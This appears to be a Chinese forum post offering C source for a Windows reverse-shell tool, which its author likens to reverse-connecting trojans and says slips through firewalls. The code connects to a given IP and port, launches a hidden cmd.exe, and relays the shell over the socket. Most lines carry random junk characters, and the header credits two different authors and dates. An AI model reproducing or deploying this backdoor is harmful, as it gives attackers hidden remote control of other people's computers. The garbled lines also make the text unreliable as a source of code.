这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `b.KMOn
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/* ============================== iN\m:m
Rebound port in Windows NT Jc8^m0_
By wind,2006/7 ^!a4!DGVT
===============================*/ 2;&K*>g&.
#include m/M=.\]
#include Gs`[\<;LI
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#pragma comment(lib,"wsock32.lib") d'p]F~a
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void OutputShell(); e'"2yA8dh"
SOCKET sClient; N>a. dYXr
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?xkw~3Yfi
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void main(int argc,char **argv) ::goqajV
{ lQ5d.}O&
WSADATA stWsaData; o;w5;TkY
int nRet; barY13)$U
SOCKADDR_IN stSaiClient,stSaiServer; U1oZ\Mh
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if(argc != 3) ,hO*W-a%1
{ ;iB9\p$K)
printf("Useage:\n\rRebound DestIP DestPort\n"); 4\?z^^
return;
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} b({K6#?'[
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WSAStartup(MAKEWORD(2,2),&stWsaData); 8/i];/,v*M
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w?;j5[j
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stSaiClient.sin_family = AF_INET; kD}w5 U
stSaiClient.sin_port = htons(0); ZwzN=03T
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); d1[;~)
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ab-z 7g
{ `#g62wb,HY
printf("Bind Socket Failed!\n"); \}Hi\k+h':
return; >_3P6-L>
} FGRdA^`
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stSaiServer.sin_family = AF_INET; %2q0lFdcM
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5u5-:#sLy
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); =\ek;d0Tqb
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }F
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{ VoG_'P
printf("Connect Error!"); v~B
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return; )I{~Pcq
} R(t1Ei.-?
OutputShell(); Z=KHsMnB
} \86:f<)P
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void OutputShell() a62'\wF>D
{ #TUuk
char szBuff[1024]; kq$0~lNI$
SECURITY_ATTRIBUTES stSecurityAttributes; )/:j$aq
OSVERSIONINFO stOsversionInfo; l b9O
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; > r
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STARTUPINFO stStartupInfo; ._X|Ye9/
char *szShell; :q>uj5%
PROCESS_INFORMATION stProcessInformation; p~A6:"8s`=
unsigned long lBytesRead; 5+Ld1nom
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Jx+e_k$gHO
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); C
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stSecurityAttributes.lpSecurityDescriptor = 0; dEu\}y|
stSecurityAttributes.bInheritHandle = TRUE; }+/F?_I=
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); S%6 V(L|
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); eaWK2%v
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'pa8h L
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h
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stStartupInfo.wShowWindow = SW_HIDE; ^[=1J
stStartupInfo.hStdInput = hReadPipe; >gTQD\k:D
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; j>I.d+
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GetVersionEx(&stOsversionInfo); e~1$x`DH
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switch(stOsversionInfo.dwPlatformId) }C'h<%[P
{ S=zW
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case 1: Ly_.%f
szShell = "command.com"; qDK\MQ!
break; b~td^
default: zI&).
szShell = "cmd.exe"; k:yrh:JhB
break; !d:tIu{)
} 0^J*+
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~ GNyE*t/Y
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send(sClient,szMsg,77,0); k
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while(1) B"~U<6s0
{ NY~ dM\
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); w0#%AK
if(lBytesRead) V[#6yMU @
{ II.<S C
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); y.jS{r".
send(sClient,szBuff,lBytesRead,0); QH& %mr.S
} qsI{ b<n
else |!$ Q<-]f
{ p])D)FsMB
lBytesRead=recv(sClient,szBuff,1024,0); M#=Y~PU
if(lBytesRead<=0) break; cge-'/8w%
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);
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} Zn?8\
} }phz7N9
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return; '*8
}